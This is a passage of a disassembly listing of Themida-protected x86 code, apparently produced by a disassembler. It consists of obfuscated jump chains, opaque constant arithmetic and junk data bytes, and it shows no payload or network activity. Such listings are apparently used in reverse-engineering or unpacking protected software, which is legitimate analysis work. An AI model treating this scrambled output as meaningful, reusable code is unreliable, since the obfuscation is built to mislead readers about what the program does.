		dd 8300001Bh, 0F18104C4h, 0F1380703h, 1ACDED81h, 0C581161Dh
		dd 6B3A2DE5h, 0C27ED81h, 0CD01756Bh, 0C27C581h,	29E9756Bh
		dd 5100006Ch, 4B9h, 0A277E900h,	0C4810000h, 4, 0D919E9h
		dd 5BFA0000h, 1B45066h,	0C1E9E228h, 0D0000009h,	3D77E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59433A:				; CODE XREF: Themida_:0059A870j
		add	esp, 4
		mov	[edi+eax*4+1], bl
		jmp	loc_59D0D0
; ---------------------------------------------------------------------------


loc_594346:				; CODE XREF: Themida_:0059A7E0j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_59A4FB
; ---------------------------------------------------------------------------


loc_59435A:				; CODE XREF: Themida_:0059583Cj
		add	ebp, 5D2F4570h
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_591556
; ---------------------------------------------------------------------------
		db 30h,	4, 24h
		dd 0C729E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594372:				; CODE XREF: Themida_:00597683j
		push	3D68h
		mov	[esp], ebp
		push	44274868h
		jmp	loc_59D840
; ---------------------------------------------------------------------------


loc_594384:				; CODE XREF: Themida_:00593944j
		mov	cl, 4Fh
		mov	dl, 7Eh
		add	dl, cl
		pop	ecx
		jmp	loc_593A00
; ---------------------------------------------------------------------------
aSws_		db '\SWé(.',0
		align 4
		dd 5E2434FFh, 0FFD12DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5943A1:				; CODE XREF: Themida_:0059D60Bj
		push	esp
		pop	edi
		jmp	loc_599842
; ---------------------------------------------------------------------------
aLt6s		db '½*lt6é',0
aE_0		db '…',0
		align 2
		dw 34FFh
aSm		db '$émÔ',0
		align 2
		dw 1C8Bh
		dd 4C48324h, 5841E9h
		db 0
; ---------------------------------------------------------------------------


loc_5943C5:				; CODE XREF: Themida_:005939FBj
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	230Dh
		mov	[esp], ebp
		push	451Dh
		jmp	loc_5A5BDA
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0E96AD0EBh, 4AFAh, 8159CD01h, 0E0F5DCC5h, 5DEA01F6h
		dd 8904EC83h, 4BB241Ch,	81000000h, 0C863E5C2h, 81DA0157h
		dd 0C863E5EAh, 14875B57h, 0C3815C24h, 4, 572CE9h
		db 0
byte_59441D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00590898o
aHm		db '$hŒ',0Bh,0
		align 2
		dw 1C89h
		dd 81E38924h, 4C3h, 4EC8100h, 89000000h, 9AE92434h, 59000082h
		dd 4EB81h, 40E90000h, 2100004Eh, 0EA8358C2h, 0DC9EE901h
		dd 248BFFFFh, 0C8AF0F24h, 38E99C51h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594463:				; CODE XREF: Themida_:00590BE1j
		mov	esi, 7666704Fh
		sub	esi, 57EB4CB0h
		mov	ebx, esi
		jmp	loc_5A357F
; ---------------------------------------------------------------------------


loc_594475:				; CODE XREF: Themida_:0059D80Ej
		mov	[esp], edx
		mov	edx, 32361F6Bh
		xor	edx, 55537712h
		add	edx, 0D30B9Eh
		shl	edx, 3
		neg	edx
		push	edi
		jmp	loc_594EA0
; ---------------------------------------------------------------------------
off_594494	dd offset dword_4BC2EC+2A7Ch ; DATA XREF: Themida_:00590824o
		dd 24048900h, 0E3895351h, 4C381h, 0EB810000h, 4, 60FCE9h
		dd 0E9D3F700h, 90A6h, 4C18159h,	0E9000000h, 19A9h, 4BE565Dh
		dd 1000000h, 0E9515EF5h, 3043h
; ---------------------------------------------------------------------------


loc_5944D4:				; CODE XREF: Themida_:00596BD7j
		mov	ebp, 61DD0E7Eh
		xor	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		push	21D3h
		mov	[esp], edi
		jmp	loc_59A57C
; ---------------------------------------------------------------------------
aHd_4B4luPF0srg	db 'hd.Õ4[Ã4LîßP¸{',0Ah
		db '”0éG',0
		dw 100h
		dd 8B08247Ch, 8950243Ch, 405E0h, 0C0830000h, 74FF5004h
		dd 8F580424h, 25E92404h
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_594523:				; CODE XREF: Themida_:0059B344j
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		jmp	loc_599F70
; ---------------------------------------------------------------------------
dword_594534	dd 0FF2434FFh, 48B2434h, 2EE95324h		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594543:				; CODE XREF: Themida_:00599C01j
		add	esi, ecx
		jmp	loc_59CB89
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 34FF2404h, 2434FF24h, 9927E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59455A:				; CODE XREF: Themida_:00598180j
		mov	esp, [esp]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0E9E2D001h, 0FFFFCFDAh, 0E9241C89h, 10947h, 80EBB652h
		dd 0F00083EEh, 8D67E9h
		db 0
; ---------------------------------------------------------------------------


loc_594581:				; CODE XREF: Themida_:005A3706j
		pop	ecx
		jmp	loc_5A20B9
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 0B431E9h
		db 0
; ---------------------------------------------------------------------------


loc_594591:				; CODE XREF: Themida_:005A1BDBj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5977F6
; ---------------------------------------------------------------------------


loc_5945A2:				; CODE XREF: Themida_:005A1610j
		add	esi, 4
		jmp	loc_5914FC
; ---------------------------------------------------------------------------


loc_5945AD:				; CODE XREF: Themida_:005A5BE2j
		pop	esi
		xor	esi, 769F07AAh
		not	esi
		add	esi, 756076FFh
		jmp	loc_5A019A
; ---------------------------------------------------------------------------
		db 0F6h, 0DFh, 0C0h
		dd 0EFD002E7h, 4D9EF80h, 0E9F828CFh, 0DAADh, 0D46EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5945DA:				; CODE XREF: Themida_:0059F127j
		push	eax
		mov	eax, 7FDF2883h
		jmp	loc_594CBE
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0F7h
		dd 36F681DEh, 2903C63Eh, 1455E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5945F6:				; CODE XREF: Themida_:0059CFD7j
		mov	[esp], ebx
		add	dword ptr [esp], 7EA57992h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A58C6
; ---------------------------------------------------------------------------
		db 1
		dd 9966E9F3h
		db 2 dup(0)
word_594612	dw 52ACh		; DATA XREF: Themida_:0059093Co
		dd 0DEF69CB6h, 6866EED0h, 896670CDh, 0B353240Ch, 0E9DD881Bh
		dd 3AE4h, 92240431h, 3882E9h
		db 0
; ---------------------------------------------------------------------------


loc_594635:				; CODE XREF: Themida_:00594B01j
		mov	ebp, 6C6658E6h
		shr	ebp, 6
		shr	ebp, 7
		jmp	loc_5977B8
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 48E92424h, 2DFFFFC4h, 0F9D495F4h,	8158C601h
		dd 0EA1322EDh, 81F50131h, 0EA1322C5h, 41685E31h, 89000017h
		dd 0E6892434h, 4C681h, 0EE810000h, 4, 0FFEC35E9h, 0E95A54FFh
		dd 2B7Fh, 4EC81h, 34890000h, 4EC8124h, 54000000h, 3C03E9h
		dd 4C68100h, 81000000h,	4EEh, 2D23E900h, 0F2810000h, 649123C8h
		dd 0E9242C8Bh, 1192h, 4246C81h,	1FF568CBh, 4245401h, 4244481h
		dd 1FF568CBh, 4246C81h,	1760DE9h, 4244481h, 48906E4Ah
		dd 2404815Ah, 7E1E16E7h, 6C6C68h, 24348900h, 912CFFBEh
		dd 0E9DEF74Fh, 7C38h, 8077EC80h, 0C480BBECh, 58E2201Fh
		dd 0E977C280h, 0CC20h, 0E924248Bh, 0FF86h, 0F7EED14Eh
		dd 0EABD55DEh, 0F74A5917h, 4DE5D1DDh, 67C5C581h, 0C58171A7h
		dd 42EAE2C7h, 15DEE01h,	3F1DE9F0h, 0D7010000h, 654CEF81h
		dd 0B7E92C4Ah, 0BF00010Ch, 4, 335FF801h, 4312404h, 24043324h
		dd 0BDDE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594766:				; CODE XREF: Themida_:0059244Ej
		add	ebx, 5B4847D8h
		movzx	ax, byte ptr [eax]
		push	428Ah
		mov	[esp], ebp
		push	6A33h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		push	4F01h
		mov	[esp], ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	ebp, 0CB37EA6h
		add	ebp, ebx
		sub	ebp, 0CB37EA6h
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 7778115Bh
		jmp	loc_599617
; ---------------------------------------------------------------------------


loc_5947CA:				; CODE XREF: Themida_:005A1B6Bj
		push	ebp
		mov	ebp, 6F973F6Ch
		add	ebp, 16E019D5h
		sub	ebp, 84F14A76h
		xor	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59F395
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 24248B24h, 24048966h, 0FFC2A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5947F9:				; CODE XREF: Themida_:00591116j
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_5A564E
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 89000000h, 0E0F0E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594816:				; CODE XREF: Themida_:00598F90j
		mov	edx, 4A3A762Eh
		mov	eax, edx
		pop	edx
		jmp	loc_5A51F4
; ---------------------------------------------------------------------------
		db 81h
		dd 1A5D50EDh, 81DD0108h, 1A5D50C5h, 3CC58108h, 5B2ECB12h
		dd 4BA52h, 0D5290000h, 242C335Ah, 744BE9h, 24343300h, 2434895Ch
		dd 2ADD68h, 243C8900h, 0EB054D68h, 2434FF39h, 4C4835Fh
		dd 4DD568h, 242C8900h, 321C68h,	241C8900h, 1982E9h, 0CDBF5700h
		dd 0D169A90Dh, 2FEF81EFh, 81772F05h, 0D05E5AC7h, 36F78165h
		dd 290A64FFh, 15F5FF9h,	875B59CFh, 248B243Ch, 4EC8124h
		dd 89000000h, 0E789243Ch, 63B0E9h, 53D62900h, 5F06A3BBh
		dd 5BDE0137h, 4EC815Ah,	89000000h, 4FE92434h, 0F7000100h
		dd 0E38953D9h, 4C381h, 0EB810000h, 4, 5C241C87h, 0B8240489h
		dd 71AB7BEEh, 0E205D8F7h, 2D01711Eh, 21472459h,	8F972D35h
		dd 58C129D2h, 7CE9CF89h, 810000DDh, 4C5h, 0ABBB5300h, 0E960802Bh
		dd 3604h, 2444315Eh, 0E95A5804h, 0FFFFFD92h, 0B8240489h
		dd 1, 65E9C121h
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_59492F:				; CODE XREF: Themida_:0059CB61j
		xor	eax, 213FFF6Ah
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_5A15E6
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 55F61284h
		mov	edx, 210F384Fh
		xor	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4CF13745h
		xchg	esi, edi
		dec	esi
		xchg	esi, edi
		sub	edi, 0B76C301h
		jmp	loc_597595
; ---------------------------------------------------------------------------


loc_594971:				; CODE XREF: Themida_:0059759Aj
		add	esp, 4
		jmp	loc_590AD4
; ---------------------------------------------------------------------------


loc_59497C:				; CODE XREF: Themida_:00591D48j
		push	eax
		mov	eax, 4
		jmp	loc_59731A
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 4244C01h,	0C2815A59h, 4, 231668h,	240C8900h, 4B9h
		dd 6EC1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5949AA:				; CODE XREF: Themida_:005A4529j
		inc	ebx
		jmp	loc_5A3DF1
; ---------------------------------------------------------------------------
		dd 0E92424D3h, 1278h
; ---------------------------------------------------------------------------


loc_5949B8:				; CODE XREF: Themida_:005A0D7Aj
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_590E43
; ---------------------------------------------------------------------------
		dw 535Dh
		dd 10B64E9h, 37B7BB00h,	15682EDAh, 8900000Fh, 23BF243Ch
		dd 811F4375h, 5B18E6E7h, 75EF8113h, 4F0BE00Ch, 6F2968h
		dd 242C8900h, 1B0A0BBDh, 25ED8132h, 8119E251h, 81745C5h
		dd 1138E947h, 44290000h, 6C810824h, 39B50824h, 8B585E6Ch
		dd 54532434h, 4BE565Bh,	1000000h, 0E339E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594A26:				; CODE XREF: Themida_:00592F2Aj
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	6F6Bh
		mov	[esp], eax
		mov	eax, 312615ABh
		push	edi
		mov	edi, 2B1195h
		jmp	loc_594C9B
; ---------------------------------------------------------------------------
		dd 36F685Fh, 0C890000h,	2474FF24h, 0EBE95904h
		db 0Ch,	1, 0
; ---------------------------------------------------------------------------


loc_594A5F:				; CODE XREF: Themida_:00594FBDj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5936DF
; ---------------------------------------------------------------------------


loc_594A6A:				; CODE XREF: Themida_:0059E572j
		mov	edx, 5BCC0A8Eh
		or	edx, 3E8217Fh
		or	edx, 14A844AFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7BD15976h
		not	eax
		jmp	loc_5921D5
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 74BB241Ch, 81744057h, 24273BF3h, 7DDE941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594AA6:				; CODE XREF: Themida_:0059ED65j
		mov	[esp], ebx
		mov	ebx, 46B557A6h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A58A4
; ---------------------------------------------------------------------------
aSV		db '±ºéÔ‚',0
		dd 370400h, 0C1B753C8h,	0E9B9F780h, 0FFFFFAF5h,	0D437B0BEh
		dd 2474013Bh, 24348B08h, 104C483h, 5204244Ch, 2330E9h
		db 0
; ---------------------------------------------------------------------------


loc_594AE5:				; CODE XREF: Themida_:005A0351j
		add	ecx, 4
		push	ebx
		mov	ebx, 7C0A114Bh
		sub	ebx, 5896h
		push	0
		sub	[esp], ebx
		pop	ebx
		push	ebp
		jmp	loc_594635
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 8B04h, 806EEA80h, 0CAFE4AEAh, 0DAEDE9h, 4C48300h, 36786857h
		dd 1CE94E5Dh, 81000087h, 3B334AEFh, 81CF0148h, 3B334AC7h
		dd 5FE95948h
		db 62h,	2 dup(0)
byte_594B3B	db 64h			; DATA XREF: Themida_:0059092Co
		dd 0E9028B66h, 0D7h, 89F2E952h,	1C8B0000h, 0CD73E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594B52:				; CODE XREF: Themida_:005A350Aj
		mov	ebx, [esp]
		add	esp, 4
		shl	edi, 3
		shl	edi, 5
		and	edi, 102F26D0h
		and	edi, 144B4852h
		push	ecx
		push	ebx
		push	20B526A9h
		pop	ebx
		jmp	loc_5961BE
; ---------------------------------------------------------------------------


loc_594B7A:				; CODE XREF: Themida_:0059306Bj
		pop	esi
		sub	ebp, 4
		jmp	loc_59C74A
; ---------------------------------------------------------------------------
		db 46h
		dd 50C4C681h, 0F6811713h, 7C4C5FF7h, 1091CE9h
		db 0
; ---------------------------------------------------------------------------


loc_594B95:				; CODE XREF: Themida_:0059D096j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5936C2
; ---------------------------------------------------------------------------
a2Jscw		db 0Dh,'2',0Ah
		db 'ÄJéCW',0
		align 2
		dw 3C89h
		dd 458CBF24h, 0E7C15D77h, 0A5EF8107h, 1A10BDEh,	0D7895FFAh
		dd 0E781475Ah, 1BB06F24h, 0FFC582E9h, 4C483FFh,	709EE9h
		db 0
byte_594BD5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005908CCo
		dd 0E92434FFh, 0FFFFCDA8h
; ---------------------------------------------------------------------------


loc_594BE0:				; CODE XREF: Themida_:005A5855j
		and	edx, 0C505657h
		add	edx, 3B122C9Bh
		jmp	loc_5969B6
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 45h
		dd 81713F47h, 0F05456C7h, 81D72958h, 0F05456EFh, 0E308E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594C0A:				; CODE XREF: Themida_:005A1760j
		add	esi, 72C50199h
		xor	esi, 2E4F0425h
		jmp	loc_59E2A7
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9334A68h, 0FFFFBFEBh
; ---------------------------------------------------------------------------


loc_594C24:				; CODE XREF: Themida_:0059B163j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59E6D7
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0E4h
		dd 56DA9CF3h, 282D6CBEh, 0D6F74E7Eh, 3C2FCE81h,	6E964A3h
		dd 5EFFFFCAh, 719CE952h, 1C890000h, 6B566824h, 16E90000h
		dd 0FFFFFFC2h, 81592434h, 4C4h,	0C1E9D100h, 88E906E9h
		dd 0BDFFFFCCh, 0F2542A7h, 0FFE89EE9h, 8F2C59FFh, 8F04C800h
		dd 0FE7BB353h, 0B55166C3h, 0A88BE934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594C92:				; CODE XREF: Themida_:0059655Cj
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_596E00
; ---------------------------------------------------------------------------


loc_594C9B:				; CODE XREF: Themida_:00594A47j
		or	eax, edi
		pop	edi
		jmp	loc_593320
; ---------------------------------------------------------------------------


loc_594CA3:				; CODE XREF: Themida_:0059B89Bj
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_5A1B70
; ---------------------------------------------------------------------------
		dd 4BBh, 18D1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594CBE:				; CODE XREF: Themida_:005945E0j
		sub	ebx, eax
		pop	eax
		jmp	loc_5A367B
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 913EE956h,	0F3010000h, 101FFE9h
		db 0
off_594CD9	dd offset dword_555548+220h ; DATA XREF: Themida_:005907E4o
		align 2
		dw 1489h
		dd 0BDB5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594CE6:				; CODE XREF: Themida_:005930D2j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_59E5FC
; ---------------------------------------------------------------------------
		dd 24048B66h, 0C002C483h, 0B05003EAh, 0E9D12C61h, 0CD18h
		dd 241C8966h, 67E9B9B7h, 83000091h, 0C8904ECh, 81D6E924h
		dd 885B0000h, 0C336E9C6h, 0C6810000h, 49F94ABAh, 3CD8E9h
		dd 4392B800h, 80E96370h, 5CFFFFBFh, 13206856h, 4E97A36h
		dd 81FFFFFFh, 0A227D6F5h, 5DE88959h, 5001C083h,	582414F7h
		dd 59C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_594D5D:				; CODE XREF: Themida_:005940DBj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	1
		pop	edx
		push	166Ah
		jmp	loc_59150D
; ---------------------------------------------------------------------------
		dd 8924248Bh, 0EC83241Ch, 240C8904h, 0EC81C188h, 4, 789FE9h
		db 0
byte_594D95	db 0FFh, 77h, 40h	; DATA XREF: Themida_:005907CCo
		dd 0FFBCFEE9h, 79F180FFh, 0E920E980h, 0E56Bh
; ---------------------------------------------------------------------------


loc_594DA8:				; CODE XREF: Themida_:005A0E6Aj
		sub	esp, 4
		jmp	loc_59A187
; ---------------------------------------------------------------------------
		dd 0C94763BAh, 6EAC15Ch, 4EA5E9h, 6ED8100h, 1214126h, 2A71E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594DCA:				; CODE XREF: Themida_:00598886j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_598B15
; ---------------------------------------------------------------------------
aRhw		db 'RhW`',0
		dw 0E900h
		dd 0B149h
; ---------------------------------------------------------------------------


loc_594DE8:				; CODE XREF: Themida_:00596049j
		xchg	ebx, [esp]
		pop	esp
		push	5FE9h
		jmp	loc_590CA3
; ---------------------------------------------------------------------------
aSig		db '\難',0
		align 4
		dd 0F00F8BBFh, 0C0B9515Dh, 2938D61Eh, 240C8BCFh, 4C481h
		dd 0E7810000h, 45CE48C3h, 10AE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_594E1D:				; CODE XREF: Themida_:0059155Aj
		xchg	ecx, [esp]
		mov	esp, [esp]
		div	cx
		push	5E50h
		mov	[esp], ebx
		push	510Ah
		jmp	loc_59A840
; ---------------------------------------------------------------------------
		dd 405h, 24048700h, 6E43E9h, 244F2900h,	8B2434FFh, 0E955240Ch
		dd 1F00h
; ---------------------------------------------------------------------------


loc_594E54:				; CODE XREF: Themida_:005913F1j
		add	ecx, 4
		jmp	loc_59654E
; ---------------------------------------------------------------------------


loc_594E5F:				; CODE XREF: Themida_:005952D3j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4AD64969h
		xchg	esi, ebx
		inc	esi
		xchg	esi, ebx
		dec	ebx
		jmp	loc_5A271D
; ---------------------------------------------------------------------------
		dd 81D7015Ch, 0D72557C7h, 0DBE95A04h, 5300004Fh, 4A654CBBh
		dd 21C7812Ch, 13B474Fh,	21EF81DFh, 0E93B474Fh, 642h
; ---------------------------------------------------------------------------


loc_594EA0:				; CODE XREF: Themida_:0059448Fj
		mov	edi, 3C3F1DB6h
		xor	edx, edi
		pop	edi
		add	eax, 2D3E4FDEh
		sub	eax, 11B37483h
		sub	eax, edx
		push	edi
		mov	edi, 11B37483h
		add	eax, edi
		pop	edi
		jmp	loc_59E38A
; ---------------------------------------------------------------------------
aSs_0		db '\éS°',0
		align 4
		dd 2474FF53h, 8527E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594ED2:				; CODE XREF: Themida_:005A5675j
		push	edi
		mov	edi, 70D37B4Eh
		add	esi, edi
		pop	edi
		shl	esi, 3
		add	esi, 539D1F14h
		jmp	loc_5A3C72
; ---------------------------------------------------------------------------


loc_594EE9:				; CODE XREF: Themida_:00592051j
		pop	esp
		add	esp, 4


loc_594EF0:				; CODE XREF: Themida_:005A38ADj
		push	303Fh
		jmp	loc_59D98F
; ---------------------------------------------------------------------------
		dw 0D328h
		dd 10C42E9h, 6F815800h,	0D9338520h, 66CC681Bh, 1C890000h
		dd 0DC685624h, 8B6F625Bh, 0C4832434h, 9DE68104h, 51623044h
		dd 33A4E9h, 241C8900h, 0C07E1BBh, 4BDBF711h, 600DCB81h
		dd 0EB811A9Eh, 83F17D1Bh, 84E9D889h, 5A000085h,	1C8BD801h
		dd 3DE3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594F52:				; CODE XREF: Themida_:00593A13j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A145A
; ---------------------------------------------------------------------------


loc_594F7D:				; CODE XREF: Themida_:005A0EE2j
		mov	ebx, 6A3C209Eh
		jmp	loc_591C03
; ---------------------------------------------------------------------------
aBiMIUSgp	db 'ëÏm~iÁã',8,'ég¯',0
		db 0
; ---------------------------------------------------------------------------


loc_594F95:				; CODE XREF: Themida_:0059F518j
		neg	ebp
		dec	ebp
		xor	ebp, 0CC28DF4Ah
		jmp	loc_595FD7
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF242Ch, 8F5D0424h, 335C2404h, 14312414h, 0AA8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594FBA:				; CODE XREF: Themida_:005936BDj
		add	esp, 4
		jmp	loc_594A5F
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0D8E90000h, 8100008Bh, 929A9EEh, 0E9F2892Bh
		dd 5849h
; ---------------------------------------------------------------------------


loc_594FDC:				; CODE XREF: Themida_:005A0345j
		add	esp, 4
		shl	eax, 5
		jmp	loc_59C98B
; ---------------------------------------------------------------------------
		db 1
		dd 1C875AD3h, 4FAAE924h, 0D9290000h, 0E9CA895Bh, 58A0h
		dd 0C280E2D0h, 0E9D03056h, 0ECCDh
; ---------------------------------------------------------------------------


loc_595008:				; CODE XREF: Themida_:00591CA1j
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5A2E1B
; ---------------------------------------------------------------------------
		db 89h
		dd 2FBE2434h, 0E9051912h, 15E7h
; ---------------------------------------------------------------------------


loc_595028:				; CODE XREF: Themida_:0059FBCFj
		xor	esi, [esp]
		jmp	loc_5A073E
; ---------------------------------------------------------------------------
		dd 7580EA81h, 0D5013647h, 4C5815Ah, 0E9000000h,	0D8AAh
		dd 0F707EAC1h, 0C2814ADAh, 200ADF12h, 6C9FE281h, 0F2810E24h
		dd 0E202016h, 148BD301h, 4C48124h, 81000000h, 4C3h, 0F3D3E900h
		dd 575E0000h, 0AF78E9h
		db 0
; ---------------------------------------------------------------------------


loc_595079:				; CODE XREF: Themida_:00597945j
		xor	edx, ebx
		pop	ebx
		shr	edx, 3
		jmp	loc_5A45E6
; ---------------------------------------------------------------------------
		dd 468h, 5527E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59508E:				; CODE XREF: Themida_:0059B086j
		mov	esi, edx
		jmp	loc_59B15A
; ---------------------------------------------------------------------------


loc_595095:				; CODE XREF: Themida_:005921DFj
		add	eax, 9FEC98F1h
		sub	edx, eax
		pop	eax
		xor	ecx, edx
		jmp	loc_591CB3
; ---------------------------------------------------------------------------


loc_5950A4:				; CODE XREF: Themida_:005973A8j
		add	ebx, 2146F17h
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		jmp	loc_5A52F1
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 65E16DF4h, 188EC381h, 0E9586BD2h, 0C4EAh
; ---------------------------------------------------------------------------


loc_5950C8:				; CODE XREF: Themida_:005A58E7j
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	186Bh
		mov	[esp], esi
		jmp	loc_5926DA
; ---------------------------------------------------------------------------


loc_5950DF:				; CODE XREF: Themida_:005A1DF1j
		push	ebx
		mov	ebx, 7C3C093Fh
		not	ebx
		xor	ebx, 2E70A06h
		neg	ebx
		push	esi
		jmp	loc_5A45FC
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 5404EC83h, 865EE9h
		db 0
; ---------------------------------------------------------------------------


loc_595101:				; CODE XREF: Themida_:0059E6A6j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_5997DB
; ---------------------------------------------------------------------------
word_59510E	dw 8B66h		; DATA XREF: Themida_:005907BCo
		dd 8953240Ch, 9FBFE9E3h, 0C870000h, 24248B24h, 5374BA52h
		dd 0C7810076h, 658B25BCh, 0EF81D701h, 658B25BCh, 0FA69E9h
		db 0
; ---------------------------------------------------------------------------


loc_595139:				; CODE XREF: Themida_:005A3AD1j
		not	esi
		xor	esi, 6D551FDBh
		add	ebp, 316863C8h
		add	ebp, esi
		sub	ebp, 316863C8h
		jmp	loc_59782F
; ---------------------------------------------------------------------------


loc_595154:				; CODE XREF: Themida_:00597FF2j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5961A2
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FCEEh, 0FAE0E95Ch, 0E951FFFFh, 0FFFFD143h
; ---------------------------------------------------------------------------


loc_595178:				; CODE XREF: Themida_:005A198Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_59886E
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_59671B
; ---------------------------------------------------------------------------
		db 5Ah,	33h, 3Ch
		dd 243C3124h, 8B243C33h, 9662424h, 0E99C2404h, 0FFFFB8F3h
		dd 3504EE81h, 50594D86h, 4EA6855h, 815D2349h, 62207CEDh
		dd 27E58156h, 813F9325h, 32C26F5h, 5DE88958h, 6858C631h
		dd 30A3h, 89241C89h, 0CF5FE9F3h, 0C9800000h, 6E9C0F1h
		dd 0E902EC83h, 0FFFFFB1Ch, 0ED4081BAh, 8BD18960h, 0C4812414h
		dd 4, 3E74C981h, 0BE563F2Eh, 87407A5h, 52A0E9h,	47685900h
		dd 89000048h, 6A68241Ch, 8900004Ch, 0BA522424h,	4, 4245401h
		dd 5A2434FFh, 0FF04C483h, 1C8B2434h, 1254E924h,	58570000h
		dd 5F2434FFh, 8104C483h, 0B25EEEC6h, 81C60163h,	0B25EEEEEh
		dd 2434FF63h, 0E924048Bh, 0AD8Ah, 6888CD81h, 0C5813DD5h
		dd 7C3926FFh, 0E905EDC1h, 0FFFFFAD7h, 7669B951h, 0D1F716B6h
